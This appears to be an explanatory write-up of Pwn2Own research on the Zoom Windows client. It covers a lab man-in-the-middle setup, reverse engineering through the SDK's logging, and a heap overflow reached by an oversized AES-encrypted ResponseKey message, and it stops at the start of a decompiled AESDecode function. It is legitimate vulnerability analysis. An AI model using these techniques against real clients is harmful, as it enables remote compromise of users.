A proxy is a program that sits between your application and the internet. Instead of the application talking directly to the server, it talks to the proxy, and the proxy forwards the conversation. Because all the traffic passes through the proxy, the proxy can record it. Think of a mail room that opens every letter, copies it, and then sends it on: the recipient still gets the letter, but the mail room has a record.
-
DNS (Domain Name System) is the internet's address book. When a program wants to talk to
zoom.us, it asks DNS "what is the numeric address for this name?", and DNS answers with something like an IP address. Modified DNS records means the researchers changed the answers in their own test environment so that a name which would normally point at Zoom's real server instead points at a server the researchers control. The application thinks it is talking to Zoom; in reality it is talking to the researchers' machine, which can then inspect and forward the traffic. -
sslsplit is a tool that handles the encryption layer. Most modern traffic uses TLS (Transport Layer Security), the encryption that puts the padlock in your browser. TLS works by having the server present a certificate, a digital document proving its identity, and then the two sides agree on encryption keys. sslsplit sits in the middle: it accepts the application's encrypted connection, decrypts it, records the plain contents, re-encrypts it towards the real server, and does the reverse on the way back. This is called a man-in-the-middle setup, and it is exactly the technique attackers use, which is why the researchers had to build it carefully in their own lab rather than against real users.
-
A CA certificate installed in Windows. This is the part that makes the man-in-the-middle work without the application complaining. A CA (Certificate Authority) is an organisation whose certificates your operating system already trusts. Windows ships with a list of trusted CAs, and when a program connects to a server, Windows checks that the server's certificate was signed by one of them. If sslsplit presents its own certificate, Windows would normally reject it as untrusted. So the researchers created their own CA, installed its certificate into Windows' trusted list on the test machine, and then had sslsplit issue certificates signed by that CA. Now Windows trusts sslsplit's certificates, the application accepts the connection, and the researchers can read everything.
The important point is that all of this happened in a test environment: machines and accounts the researchers controlled. The CA certificate was installed on their own Windows machine, not on anyone else's. This is how you study a protocol safely.
What they could see, and what they set aside
With this setup, the researchers were able to inspect all traffic, including HTTP and XMPP, in their test environment. That covers the chat connection and the web requests the client makes. They initially focused on HTTP and XMPP, because those are the paths by which one user's data reaches another user's client, which was the attack vector they cared about.
Meetings were a different story. Meetings appear to have a number of different options depending on what the network allows, and the main one is a custom UDP based protocol. A custom protocol means Zoom invented its own format rather than using a standard one. That makes it harder to read, because there is no public specification to compare against, and it looked like a binary protocol, meaning the data is packed in a compact machine format rather than readable text. The researchers initially focused on HTTP and XMPP, as the meeting protocol seemed like a custom binary protocol.
This decision shaped everything that followed. The main bug they found lives in the chat path, and both of the smaller bugs they used along the way are reached through web requests the client makes on the attacker's behalf. If they had started with the meeting protocol, the story would have been different.
Why this step comes before the bug hunting
It is tempting to think of interception as a preliminary chore, but it is really the foundation. Three things depend on it:
- Knowing the format. You cannot write a valid
ResponseKeymessage, or a valid GIPHY message, unless you have seen real ones and know which elements and attributes the client expects. The XML examples later in this article are the result of this step. - Knowing the trigger. You need to see which actions cause the client to send which messages, so you can work out what an attacker would have to send to make the victim's client do the same thing.
- Knowing what reaches the victim. Some traffic goes through Zoom's servers, which filter it. The XMPP connection is not direct: messages pass through the server. That means invalid XML never reaches the other client, which is a real constraint on what an attacker can deliver. Seeing the traffic tells you where that filtering happens and what gets through.
That last point becomes important later, when the researchers need to leak binary data that is unlikely to consist of entirely printable characters. Through the XMPP connection, such data could not be delivered, because the server would reject or mangle it. That is why they later went to the trouble of making the client open a direct HTTPS connection to a server they controlled, where they were not restricted in any way.
With the traffic visible and the protocol understood, the next problem was the program itself. Seeing the messages tells you what goes in and out, but not what the program does with them internally. For that, the researchers had to read the program's code, and they did not have the source code.
Reading the program without source code
Seeing the messages tells you what goes in and out of a program. It does not tell you what the program does with them once they arrive. For that, the researchers had to read the program's own instructions, and they did not have the source code.
Source code is the version of a program its authors write, in a language meant for people, with names like AESDecode and comments explaining what each part does. When the program is finished, that source code is translated by a compiler into machine code: the actual instructions the processor executes, which are numbers, not words. Software vendors almost never publish the source code of their desktop applications, because it is their product. Zoom's client is one of those: the researchers had only the compiled program.
Disassembly, DLLs and the shape of a Windows program
Disassembly is the process of turning machine code back into a readable list of instructions. A disassembler is the program that does it. The result is not source code: names are gone, comments are gone, and variables appear as anonymous memory locations. What you get is a long list of low-level steps such as "copy this value into that register" and "jump to this address". A register is a tiny, very fast storage slot inside the processor, the place where it keeps the values it is working on right now.
Reading disassembly is slow and demanding, but it is the only way to understand a program you cannot get the source of. The researchers loaded the relevant binaries into their favourite disassemblers, which is the standard starting point for this kind of work.
A binary is a compiled program file. On Windows, a large application is not one single file but many, and the most important kind is the DLL (Dynamic Link Library). A DLL is a file full of functions that other programs can load and call, rather like a shared toolbox. Zoom's client is made of many DLLs, each responsible for a part of the work: one for the chat connection, one for web requests, one for audio, and so on. When the client starts, Windows loads the DLLs it needs and connects the calls between them.
This matters for security research because it tells you where to look. If you want to find a bug that another user can trigger through chat, you start with the DLL that handles chat messages, not the one that draws the settings window.
XMPP parsing and the wall
Because the goal was a vulnerability reachable from another user, the researchers started by matching the handling of incoming XMPP stanzas to the code. A stanza is an XMPP element you can send to another user: a single structured message, written in XML, the same angle-bracket markup language used in the examples later in this article.
They found that the XMPP XML stream is initially parsed by XmppDll.dll. Parsing means reading a structured text and turning it into the program's internal data: taking a message like <body>hello</body> and producing an object in memory that holds the word "hello" and knows it came from the body element. The parser is the part of the program that first touches data from the network, which is why it is always a prime suspect for bugs.
XmppDll.dll is based on the C++ XMPP library gloox. A library is a collection of ready-made code that many programs reuse instead of writing everything themselves; gloox is a well-known open-source library for speaking XMPP, and its source code is public. That made reverse engineering this part quite easy, even for the custom extensions Zoom had added, because the researchers could read gloox's source and compare it with the disassembly.
It also became quite clear that they were not going to find any good vulnerabilities there. XmppDll.dll only parses incoming XMPP stanzas and copies the XML data to a new C++ object. No real business logic is implemented in it; everything is passed to a callback in a different DLL.
A callback is worth explaining, because it appears throughout this story. A callback is a function that you hand to another piece of code and say "call this when something happens". Think of leaving your phone number with a receptionist: you do not stay at the desk, you go away, and the receptionist calls you when a visitor arrives. In a program, the XMPP DLL receives a message, does the basic parsing, and then calls a function that some other DLL registered in advance. The real decisions, what to do with the message, are made in that other DLL. So the parser itself is thin, and the interesting logic lives elsewhere.
The next DLLs were a different matter. Their disassembly was almost impossible to get through because of the large number of calls to vtables and other DLLs. Almost nothing was available to give the researchers some grip on the disassembled code.
A vtable (virtual table) is a table of function addresses that a C++ object carries with it. C++ allows a program to treat different kinds of object through one common interface, and to decide at the moment of the call which actual function to run. The mechanism is the vtable: each object starts with a hidden pointer to a table listing the addresses of its functions, and a call through that pointer jumps to whichever function the object's table names. This is powerful for programmers and painful for reverse engineers, because in the disassembly a call through a vtable looks like "jump to an address stored in this object", with no name attached. You cannot tell from the instruction alone which function will run; you have to work out which object it is and what its table contains. When a program is built almost entirely from such calls, the disassembly becomes a maze of indirect jumps with no labels.
The logging problem and the SDK workaround
The main reason the disassembly was so hard was that most DLLs do no logging at all. Logging means a program writing notes about what it is doing to a file or a console: "received message", "key length incorrect", "connection closed". Logs are obviously useful for dynamic analysis, watching a program while it runs. But they are also very useful for static analysis, reading the program without running it, because log messages often reveal function and variable names and give information about what checks are performed. A log line that says [AESDecode] Failed. Key len or IV len is incorrect. tells you, without any guessing, that there is a function called AESDecode and that it checks key and IV lengths. That is a gift to a reverse engineer.
Zoom had generated a log of the installation, but while running it nothing was logged at all. That suggested logging had been switched off when the program was compiled, a common choice for shipping software because logging costs time and disk space and can reveal internals.
The researchers went looking for a way around this and found Zoom's support pages for generating a troubleshooting log for Zoom. The page describes a special troubleshooting package of Zoom that logs more information about an issue, installed after reporting a problem through the desktop client and sent to the support agent afterwards. In other words, special builds with logging do exist; they are only given out by support to debug a specific issue.
For bug bounties, any form of social engineering is usually banned. Social engineering means manipulating people rather than software: pretending to be someone you are not, or talking an employee into doing something they should not. Asking support for a debug build by pretending to have a problem would be exactly that. The Pwn2Own rules do not mention it, but the researchers did not want to antagonise Zoom about it. Since Zoom was sponsoring Pwn2Own, they thought Zoom might be willing to give them that client if they asked through ZDI, the organisation running the contest, so they did just that. It is not uncommon for companies to offer specific tools for researchers to help in their research, such as test units Tesla can give to interested researchers.
Sadly, Zoom turned this request down. The report does not say why.
Before falling back to anything else, they found something almost as good. Zoom has an SDK, a Software Development Kit: a package that lets other programs integrate Zoom's meeting functionality into their own applications. The SDK consists of many of the same libraries as the client itself, but in this case these DLL files do have logging present. It does not have all of them, some UI related DLLs are missing, but it has enough to get a good overview of the functionality of the core message handling.
This is a neat trick worth remembering. The same code, compiled for a different purpose, can be far easier to study. The SDK is meant for developers who need to debug their integration, so it keeps its logging; the consumer client is meant for end users, so it drops it. The researchers got the readable version of the code without asking anyone for anything.
The logging also revealed file names and function names, as can be seen in this disassembled example:
iVar2 = logging::GetMinLogLevel();
if (iVar2 < 2) {
logging::LogMessage::LogMessage
(local_c8,
"c:\\ZoomCode\\client_sdk_2019_kof\\client\\src\\framework\\common\\SaasBeeWebServiceModule\\ZoomNetworkMonitor.cpp"
, 0x39, 1);
uVar3 = log_message(iVar2 + 8, "[NetworkMonitor::~NetworkMonitor()]", " ", uVar1);
log_message(uVar3);
logging::LogMessage::~LogMessage(local_c8);
}
Line by line, in plain words:
iVar2 = logging::GetMinLogLevel();asks the logging system what the current minimum level is. Logging systems usually have levels such as "errors only" or "everything", and this call fetches the current setting. The result is stored in a variable the disassembler has namediVar2, because the original name is gone.if (iVar2 < 2) {checks whether the level is below 2. If it is, the program is configured to log at least this much detail, so the following block runs. If not, the whole block is skipped and nothing is written. This is the standard pattern for logging that can be switched off: check the level first, and only build the message if it will actually be used.logging::LogMessage::LogMessagestarts constructing a log message object. The name is visible because the logging library was compiled with its symbols intact, which is exactly the benefit the SDK gave the researchers.(local_c8,is the first argument: a local variable holding the message object under construction."c:\\ZoomCode\\client_sdk_2019_kof\\client\\src\\framework\\common\\SaasBeeWebServiceModule\\ZoomNetworkMonitor.cpp"is the second argument: the full path of the source file this code was compiled from. This is the single most valuable line in the snippet. It tells the researchers the file is calledZoomNetworkMonitor.cpp, that it lives in a folder calledSaasBeeWebServiceModule, and that the build was calledclient_sdk_2019_kof. The doubled backslashes are just how a backslash is written inside a C string., 0x39, 1);passes the line number0x39(57 in decimal) and a flag. So the log entry will say exactly where in the source it came from.uVar3 = log_message(iVar2 + 8, "[NetworkMonitor::~NetworkMonitor()]", " ", uVar1);writes the actual text. The string[NetworkMonitor::~NetworkMonitor()]names a function:NetworkMonitor's destructor, the function that runs when aNetworkMonitorobject is destroyed. The~is C++ notation for a destructor. So this line tells the researchers there is a class calledNetworkMonitor, and that this code runs when one is destroyed.log_message(uVar3);finishes writing the message.logging::LogMessage::~LogMessage(local_c8);destroys the temporary message object, cleaning up after itself.- The closing
}ends theifblock.
From this one snippet the researchers learned a file name, a folder structure, a build name, a class name and a function name, none of which appear in the compiled instructions themselves. Multiply that by every log line in the SDK and you can see why this was such a big step forward. It turned an anonymous maze of indirect calls into something with signposts.
For dynamic work, the researchers wrote Frida scripts. Frida is a tool that lets you inject your own JavaScript into a running program to observe and modify what it does: you can log every memory allocation, print the state of the allocator, and so on. They used it to track allocations, print the freelist and check the LFH status, all terms explained in the memory section below. These things can all be done by WinDBG, Microsoft's debugger, but they found it way too slow to be of use. A debugger is a tool that lets you pause a running program, inspect its memory and step through it instruction by instruction; it is powerful but, for the volume of observation this project needed, too slow.
The exploitation work ran in a Windows virtual machine, a computer simulated entirely in software on another computer. A virtual machine is invaluable for this kind of research because you can snapshot it, break it, and restore it without touching your real machine. At one point the virtual machine had no emulated sound card, and there was no need for one. Adding one later changed the allocation behaviour of the call-ringing code significantly, as described in the section on taking control. That detail turned out to matter: the creation of FileWrapperImpls changed significantly.
With the SDK build in hand, the researchers could finally read the code that handles messages, and the hunt for a bug could start in earnest.
Hunting for memory corruption
Their target was a specific family of mistakes, and it is worth being precise about what that family is before looking at where they searched.
What memory corruption means
A running program keeps its working data in memory. Memory is organised as a long sequence of numbered slots, each holding a small value, and the program refers to a region of memory by its starting address and its length. When a program needs space for something, such as a message that just arrived, it asks the operating system for a region of a certain size, and the operating system hands back an address. The program then writes its data into that region.
Memory corruption is what happens when a program writes data outside the region it was given, or reads data from a region that no longer holds what the program thinks it holds. The write itself does not fail: memory does not have walls. If a program has a region of 100 bytes and writes 200 bytes into it, the first 100 bytes land where they should and the next 100 bytes land in whatever memory happens to follow. That neighbouring memory might hold another message, a table of function addresses, or the bookkeeping the memory manager uses to know which regions are free. Whatever it was, it is now overwritten with the attacker's data.
A buffer overflow is the simplest form of this: a fixed-size space, the buffer, receives more data than it can hold, and the excess spills over into what follows. Think of pouring a litre of water into a half-litre glass: the glass holds what it can and the rest goes over the side, onto whatever is on the table. If what is on the table is the switch that controls the lights, you have just changed the lights without meaning to. In a program, the "switch" might be a stored address that the program will later jump to, and if the attacker controls what was written there, the program jumps where the attacker wants.
Why is this so serious? Because the attacker is not just crashing the program. They are choosing what data lands in the neighbouring memory, and if that neighbouring memory influences what the program does next, the attacker is now partly steering the program. The whole art of exploitation is arranging for the spilled data to land on something that matters, and then arranging for the program to use it.
Why parsing is a classic place to look
Parsing is the act of reading incoming data and turning it into the program's internal structures. When a chat message arrives, the program has to read the XML, find the elements, extract the text, decode any encoded parts, and build objects that the rest of the program can use. Every one of those steps involves reading data whose length and content the sender chose.
That makes parsers a classic hunting ground. The sender controls the input completely: they can send a very long value, an empty value, a value with unexpected characters, or a value that claims to be one length and is actually another. If the parser trusts any of those claims without checking, it can be made to write more than it should. Many of the most famous vulnerabilities in history are parser bugs for exactly this reason.
So the researchers' first instinct, looking at the XMPP handling, was reasonable. But as they read the code, two specific reasons made this particular parser an unlikely place to find what they wanted.
Why XMPP parsing was not the likely vector
The first reason is that a well-known library handles XMPP. XmppDll.dll is based on gloox, an open-source library that many programs use. A widely used library has been read by many people, tested by many programs, and had its bugs found and fixed over years. That does not make it perfect, but it makes it a much less promising target than custom code written by one company for one product. The researchers could read gloox's source, and nothing in it looked like an easy win.
The second reason is the server in the middle. The XMPP connection is not direct: messages pass through Zoom's servers. That means any payload has to get through the server first, and the server will not pass on invalid XML. If the attacker sends malformed markup hoping to confuse the parser, the server rejects it before the victim's client ever sees it. The attacker is therefore restricted to well-formed XML, which removes a whole class of parser confusion tricks. The server acts as a filter, and filters make life harder for attackers.
There is a third, subtler reason. Many operations using strings in this code use C++ std::string objects. A std::string is a string type that manages its own memory: it knows its own length, it grows and shrinks as needed, and it does not rely on the programmer to keep a separate length variable in step. The classic string overflow happens when a programmer keeps a length in one variable and the actual data in a buffer, and the two drift apart: the length says 10 but the buffer holds 20, or the code copies n bytes where n was computed wrongly. With std::string, that particular mistake is much harder to make, because the length and the data live together and the type maintains them. So buffer overflows due to mistakes in length calculations were also not very likely in this code.
None of this proves there is no bug in the XMPP path. It means the researchers judged the odds low, and they were looking for the best use of their time. What they needed was a place where data crosses from the safe world of std::string into the older, more dangerous world of raw C pointers and separate length variables.
The oversized base64 allocation
About two weeks into the research, they noticed something interesting in the base64 decoding that was happening in a couple of places.
Base64 is an encoding that turns arbitrary binary data into plain text characters, so it can travel safely through systems that only expect text. It uses 64 characters: the letters, digits, plus and slash. The rule is simple: every three bytes of input become four characters of output. That means the encoded text is always about a third larger than the original data, and decoding always produces about three quarters of the size of the input, ignoring rounding at the end.
Here is the code they found:
len = Cmm::CStringT<char>::size(param_1);
result = malloc(len << 2);
len = Cmm::CStringT<char>::size(param_1);
buffer = Cmm::CStringT<char>::c_str(param_1);
status = EVP_DecodeBlock(result, buffer, len);
Line by line, in plain words:
len = Cmm::CStringT<char>::size(param_1);asks the string objectparam_1how many characters it holds, and stores that number inlen.Cmm::CStringT<char>is Zoom's own string type, a variant of the familiar string class. Solenis the length of the base64 text that is about to be decoded.result = malloc(len << 2);asks the memory manager for a new region and stores its address inresult.mallocis the standard C function for "give me some memory". The size requested islen << 2. The<<operator shifts a number's binary digits to the left, and shifting left by two is the same as multiplying by four. So this asks for a region four times the length of the input text.len = Cmm::CStringT<char>::size(param_1);asks for the length a second time and stores it inlenagain. The value is the same as before; this line is redundant, but it shows how the compiled code came out.buffer = Cmm::CStringT<char>::c_str(param_1);gets a raw pointer to the string's characters.c_stris the standard way to reach inside a string object and get the plain C-style pointer that older functions expect. This is the crossing point mentioned above: from here on, the code is dealing with a bare pointer and a separate length, not a self-managing string.status = EVP_DecodeBlock(result, buffer, len);calls OpenSSL's base64 decoder.EVP_DecodeBlockis the OpenSSL function that handles base64 decoding. It is told where to write the result (result), where to read the encoded text (buffer) and how long that text is (len). The return value, stored instatus, reports whether it worked.
Now the interesting part. Base64 decoding produces something that is always 3/4 of the size of the input, ignoring rounding. So the correct amount of memory to reserve would be about three quarters of len. Instead, this code reserves four times len. That is more than five times larger than necessary.
Allocating too much is not an exploitable vulnerability in itself. The program wastes memory, which is untidy but harmless. The only way an oversized allocation becomes dangerous is through an integer overflow: if len were so large that multiplying it by four wrapped around and produced a small number, the allocation would be tiny while the decoder still wrote a large amount. That is theoretically possible but not very practical, because the input would have to be enormous, far beyond what a chat message can carry.
So why did this snippet matter? Not because of what it does, but because of what it reveals. It shows that when data moves between Zoom's own code and OpenSSL, the buffer sizes are being calculated by hand, and the calculation is wrong. The programmer had to work out how much space the decoder would need, and they got it wrong by a factor of more than five. If a size calculation can be wrong in the safe direction, it can also be wrong in the dangerous direction. And the reason the calculation is being done by hand at all is that std::string objects have to be converted to C char* pointers with separate length variables before OpenSSL can be called. That conversion is exactly the boundary where the safety of std::string is lost.
This is a good example of a research instinct worth learning. A harmless bug is still evidence. It tells you where the programmers were doing something delicate, and delicate code done by hand is where mistakes cluster. The researchers decided to focus on the calling of OpenSSL functions from Zoom's own code for a while, and that decision led them straight to the bug.
Why OpenSSL calls were the promising place
OpenSSL is a widely used open-source library that implements cryptography: encryption, decryption, signatures, certificates and much more. It is not part of Zoom; Zoom bundles a copy of it as separate DLLs. That has two consequences that matter here.
First, OpenSSL's source code is public. The researchers could read exactly what each function expects and does, which is far easier than guessing from disassembly. Second, OpenSSL's functions are written in C, not C++. They take raw pointers and explicit lengths, because that is how C works. Every call from Zoom's C++ code into OpenSSL therefore involves converting a std::string into a pointer plus a length, and every one of those conversions is a place where the length could be computed wrongly.
The base64 snippet showed one such conversion with a wrong size. The researchers' reasoning was that if one conversion was wrong, others might be too, and some of those might be wrong in the dangerous direction: allocating too little rather than too much. They went looking through the OpenSSL call sites in Zoom's code, and the next section describes what they found.
The bug in Advanced chat encryption version 1
The OpenSSL call sites led the researchers to a feature called "Advanced chat encryption". It is only available for paying users, which is one reason the premium accounts mattered. The feature has been around for a while, and it comes in two versions. By default version 2 is used, but if a contact sends a message using version 1 then it is still handled. That backwards compatibility is the door: the client keeps code for an old format alive so that old messages still work, and that old code is where the bug lived.
Before walking through the messages, here are the concepts the feature is built from, from zero.
- Encryption is scrambling data so that only someone with the right secret can unscramble it. Think of a locked box: anyone can carry it, but only the holder of the key can open it.
- Symmetric encryption uses the same secret, called a key, to lock and unlock. It is fast and is what you use for the bulk of the data. The problem is getting the key to the other person without anyone intercepting it.
- A key identifier is a short label attached to a message saying which key was used. It is not the key itself, just a name tag, like the number on a cloakroom ticket. The recipient looks up the number to find the key.
- A certificate (X.509 certificate) is a digital document that binds a public key to an identity, signed by someone trusted. It is how the two sides can exchange keys without having met before.
- RSA is one of the oldest and best-known public-key algorithms. It uses a pair of keys: a public key that anyone may have, and a private key that only the owner holds. Data encrypted with the public key can only be decrypted with the private key, and data signed with the private key can be verified with the public key. It is like a padlock you hand out freely: anyone can snap it shut on a box, but only you have the key to open it.
- Elliptic curve cryptography is a newer family of public-key algorithms that achieve the same security with much smaller keys. P-521 is the name of one particular curve, a set of mathematical rules the algorithm follows.
- Diffie-Hellman is a method by which two parties, each with their own key pair, can agree on a shared secret over a public channel, without ever sending the secret itself. Think of two people each mixing their own secret colour into a public paint and swapping the mixtures: each can then produce the same final colour, but an eavesdropper who saw only the mixtures cannot. Elliptic curve Diffie-Hellman is the same idea using elliptic curve maths.
- AES (Advanced Encryption Standard) is the standard symmetric cipher used everywhere. It works on blocks of 16 bytes at a time, which is why the size of an AES-encrypted payload is always a multiple of 16. CBC is a mode of operation for AES that also needs an IV (initialisation vector), a random starting value so that encrypting the same data twice does not produce the same output.
With those in hand, the version 1 protocol makes sense. As far as the researchers could understand from the code, it works in three steps.
How version 1 exchanges keys
- The sender sends a message encrypted with a symmetric key, with a key identifier indicating which message key was used.
- The recipient checks whether it has the symmetric key with that identifier. If not, the recipient's client automatically sends a
RequestKeymessage to the other user, which includes the recipient's X.509 certificate in order to encrypt the message key. - The sender responds with a
ResponseKeymessage. It contains the sender's X.509 certificate, an<encoded>element holding the message key encrypted with both the sender's private key and the recipient's public key, and a signature.
The way the key is encrypted has two options, depending on the type of key in the recipient's certificate. If it uses an RSA key, then the sender encrypts the message key using the public key of the recipient and signs it using their own private RSA key.
The default, however, is not RSA but an elliptic curve key using the curve P-521. Algorithms for encryption using elliptic curve keys do not exist as far as the researchers know. So instead of encrypting directly, elliptic curve Diffie-Hellman is used with both users' keys to obtain a shared secret. The shared secret is split into a key and IV to encrypt the message key data with AES. This is a common approach for encrypting data when using elliptic curve cryptography.
That last sentence is the heart of the bug. The message key is protected by AES, and the AES-encrypted result travels in the <encoded> element. The recipient decrypts it into a buffer. On the RSA path, the code checked that the decrypted result would fit in that buffer. On the AES path, it did not. Everything else in this section is the detail behind that one missing check.
The three messages, line by line
The three XML examples below are the actual messages of the protocol, copied exactly. XML is a text format made of elements, written as <name>...</name>, which can carry attributes such as from="..." inside the opening tag. It is the same markup style used for web pages, and it is readable enough that you can follow the structure by eye.
The first message is the encrypted chat message itself:
<message from="[redacted]/ZoomChat_pc" to="[redacted]" id="85DC3552-56EE-4307-9F10-483A0CA1C611" type="chat">
<body>[This is an encrypted message]</body>
<thread>gloox{BFE86A52-2D91-4DA0-8A78-DC93D3129DA0}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<ze2e>
<tp>
<send>[redacted]</send>
<sres>ZoomChat_pc</sres>
<scid>{01F97500-AC12-4F49-B3E3-628C25DC364E}</scid>
<ssid>[redacted]</ssid>
<cvid>zc_{10EE3E4A-47AF-45BD-BF67-436793905266}</cvid>
</tp>
<action type="SendMessage">
<msg>
<message>/fWuV6UYSwamNEc40VKAnA==</message>
<iv>sriMTH04EXSPnphTKWuLuQ==</iv>
</msg>
<xkey>
<owner>{01F97500-AC12-4F49-B3E3-628C25DC364E}</owner>
</xkey>
</action>
<app v="0"/>
</ze2e>
<zmtask feature="35">
<nos>You have received an encrypted message.</nos>
</zmtask>
<zmext expire_t="1680466611000" t="1617394611169">
<from n="John Doe" e="[redacted]" res="ZoomChat_pc"/>
<to/>
<visible>true</visible>
</zmext>
</message>
Element by element:
<message ...>is the outer XMPP element.fromis the sender's address,tois the recipient's,idis a unique identifier for this message, andtype="chat"says it is a chat message rather than a presence update or something else.<body>[This is an encrypted message]</body>is the text a client that does not understand the encryption would show. It is a placeholder, not the real content.<thread>gloox{...}</thread>groups messages into a conversation thread. Theglooxprefix shows the library that produced it.<active xmlns="http://jabber.org/protocol/chatstates"/>is a chat state notification, meaning "the sender is active". It is a standard XMPP extension.<ze2e>is Zoom's own element for end-to-end encryption. Everything inside it is the encryption machinery.<tp>holds transport information: who sent it (<send>), the sender's resource (<sres>, the specific client instance), a session identifier (<scid>), the sender's session id (<ssid>) and a conversation id (<cvid>).<action type="SendMessage">says what this encrypted action is: sending a message.<msg>holds the encrypted payload.<message>is the ciphertext, base64-encoded, and<iv>is the initialisation vector, also base64. Both are short here because the real message is short.<xkey><owner>{...}</owner></xkey>is the key identifier. The<owner>value names which message key was used, so the recipient can look it up.<app v="0"/>is an application version marker.<zmtask feature="35"><nos>You have received an encrypted message.</nos></zmtask>is a notification task, with the text to show if the client cannot decrypt.<zmext ...>holds display metadata: the sender's display name (n), email (e) and resource (res), an empty<to/>, and<visible>true</visible>meaning the message is shown in the conversation. Theexpire_tandtattributes are timestamps in milliseconds.
The second message is the automatic key request:
<message xmlns="jabber:client" to="[redacted]" id="{684EF27D-65D3-4387-9473-E87279CCA8B1}" type="chat" from="[redacted]/ZoomChat_pc">
<thread>gloox{25F7E533-7434-49E3-B3AC-2F702579C347}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<zmext>
<msg_type>207</msg_type>
<from n="Jane Doe" res="ZoomChat_pc"/>
<to/>
<visible>false</visible>
</zmext>
<ze2e>
<tp>
<send>[redacted]</send>
<sres>ZoomChat_pc</sres>
<scid>[redacted]+vcAqMztQ=</scid>
<recv>[redacted]</recv>
<ssid>[redacted]</ssid>
<cvid>zc_{10EE3E4A-47AF-45BD-BF67-436793905266}</cvid>
</tp>
<action type="RequestKey">
<xkey>
<pub_cert>[redacted]+uG4Ui58+QBSfWVVWCrG/8R4KTPvhS7/utzNIe+5R8oE69EPFAFNBMe/nCugYfi/EzEtwzor/[redacted]/wr/[redacted]+A956elf/eGtF53iQv2PT9I/4SNMIcX5Oe/sJrH1czcTfpMIACpfbc9Iu6n/WNCJK/tmvOmdnFDk2ekDt9jeVmDhwJj2pG+cOdY/0A+[redacted]+/[redacted]/[redacted]/[redacted]/6J21g6G6eDRtWvE1nMfmyOvTtjC</pub_cert>
<owner>{01F97500-AC12-4F49-B3E3-628C25DC364E}</owner>
</xkey>
</action>
<v2data action="None"/>
<app v="0"/>
</ze2e>
<zmtask feature="50"/>
</message>
Element by element:
- The outer
<message>has the same attributes as before, but nowfromis the recipient of the first message andtois its sender. This is the reply going back. <thread>and<active>work as before.<zmext>has<msg_type>207</msg_type>, a numeric code for this kind of message, and<visible>false</visible>, meaning it is not shown in the conversation. The user never sees this exchange happening.<tp>again carries transport information, now with<recv>naming the original sender.<action type="RequestKey">says what this is: a request for the message key.<xkey>holds the request.<pub_cert>is the recipient's X.509 certificate, base64-encoded, so the sender can encrypt the key to it.<owner>is the key identifier being requested.<v2data action="None"/>is a placeholder for the newer version 2 data, empty here.<app v="0"/>and<zmtask feature="50"/>are as before.
The third message is the answer carrying the key:
<message from="[redacted]/ZoomChat_pc" to="[redacted]" id="4D6D109E-2AF2-4444-A6FD-55E26F6AB3F0" type="chat">
<thread>gloox{24A77779-3F77-414B-8BC7-E162C1F3BDDF}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<ze2e>
<tp>
<send>[redacted]</send>
<sres>ZoomChat_pc</sres>
<scid>{01F97500-AC12-4F49-B3E3-628C25DC364E}</scid>
<recv>[redacted]</recv>
<rres>ZoomChat_pc</rres>
<rcid>[redacted]+vcAqMztQ=</rcid>
<ssid>[redacted]</ssid>
<cvid>zc_{10EE3E4A-47AF-45BD-BF67-436793905266}</cvid>
</tp>
<action type="ResponseKey">
<xkey create_time="1617394606">
<pub_cert>[redacted]/[redacted]/+qz3OJiOy/[redacted]/xE96h80TLWpqoZHl1Ov+JiSVN/MA0GCSqGSIb3DQEBCwUAA4IBAQCUu+e8Bp9Qg/L2Kd/+AzYkmWeLw60QNVOw27rBLytiH6Ff/OmhZwwLoUbj0j3JATk/FiBpqyN6rMzL/TllWf+[redacted]+[redacted]+[redacted]/C2x+5oRB5/03aDS8Dw+[redacted]/[redacted]</pub_cert>
<encoded>...</encoded>
<signature>MIGHAkIBaq/VH7MvCMnMcY+Eh6W4CN7NozmcXrRSkJJymvec+[redacted]+e1bPsu9lwF4GkgI40NrPG/kbUx4RbiTp+Ckyo0</signature>
<owner>{01F97500-AC12-4F49-B3E3-628C25DC364E}</owner>
</xkey>
</action>
<app v="0"/>
</ze2e>
<zmtask feature="50"/>
<zmext t="1617394613961">
<from n="John Doe" e="[redacted]" res="ZoomChat_pc"/>
<to/>
<visible>false</visible>
</zmext>
</message>
Element by element:
- The outer
<message>goes from the original sender back to the original recipient, with a newid. <tp>now has both sides:<send>,<sres>,<scid>for the sender, and<recv>,<rres>(recipient resource) and<rcid>(recipient conversation id) for the recipient.<action type="ResponseKey">says this is the answer to the key request.<xkey create_time="1617394606">holds the key material, with a creation timestamp.<pub_cert>is the sender's X.509 certificate, so the recipient can verify the signature and do the Diffie-Hellman exchange.<encoded>...</encoded>is the message key, encrypted. In the real message this is a long base64 string; the researchers shortened it to...here. This is the element whose size the attacker controls, and the one that causes the overflow.<signature>is a digital signature over the key material, proving it came from the holder of the private key.<owner>is the key identifier, matching the one in the request.<zmtask feature="50"/>and<zmext>with<visible>false</visible>mean this exchange is invisible to the user.
The three messages together are the whole protocol: send the message, ask for the key if you do not have it, answer with the key. The attacker's job is to be the one answering, and to make the <encoded> element bigger than the recipient expects.
The missing check and the AESDecode function
When handling a ResponseKey message, a std::string of a fixed size of 1024 bytes was allocated for the decrypted result. When decrypting using RSA, it was properly validated that the decryption result would fit in that buffer. When decrypting using AES, however, that check was missing. This meant that by sending a ResponseKey message with an AES-encrypted <encoded> element of more than 1024 bytes, it was possible to overflow a heap buffer.
That is the bug in one paragraph. The buffer is 1024 bytes. The RSA path checks the result fits. The AES path does not. The attacker sends a bigger <encoded>, the AES decryption writes more than 1024 bytes into the buffer, and the excess spills into whatever memory follows.
The following snippet shows the function where the overflow happens. This is the SDK version, so with the logging available. Here, param_1[0] is the input buffer, param_1[1] is the input buffer's length, param_1[2] is the output buffer and param_1[3] the output buffer length. This is a large snippet, but the important part of this function is that param_1[3] is only written to with the resulting length, it is not read first. The actual allocation of the buffer happens in a function a few steps earlier.
undefined4 __fastcall AESDecode(undefined4 *param_1, undefined4 *param_2) {
char cVar1;
int iVar2;
undefined4 uVar3;
int iVar4;
LogMessage *this;
int extraout_EDX;
int iVar5;
LogMessage local_180 [176];
LogMessage local_d0 [176];
int local_20;
undefined4 *local_1c;
int local_18;
int local_14;
undefined4 local_8;
undefined4 uStack4;
uStack4 = 0x170;
local_8 = 0x101ba696;
iVar5 = 0;
local_14 = 0;
local_1c = param_2;
cVar1 = FUN_101ba34a();
if (cVar1 == '\0') {
return 1;
}
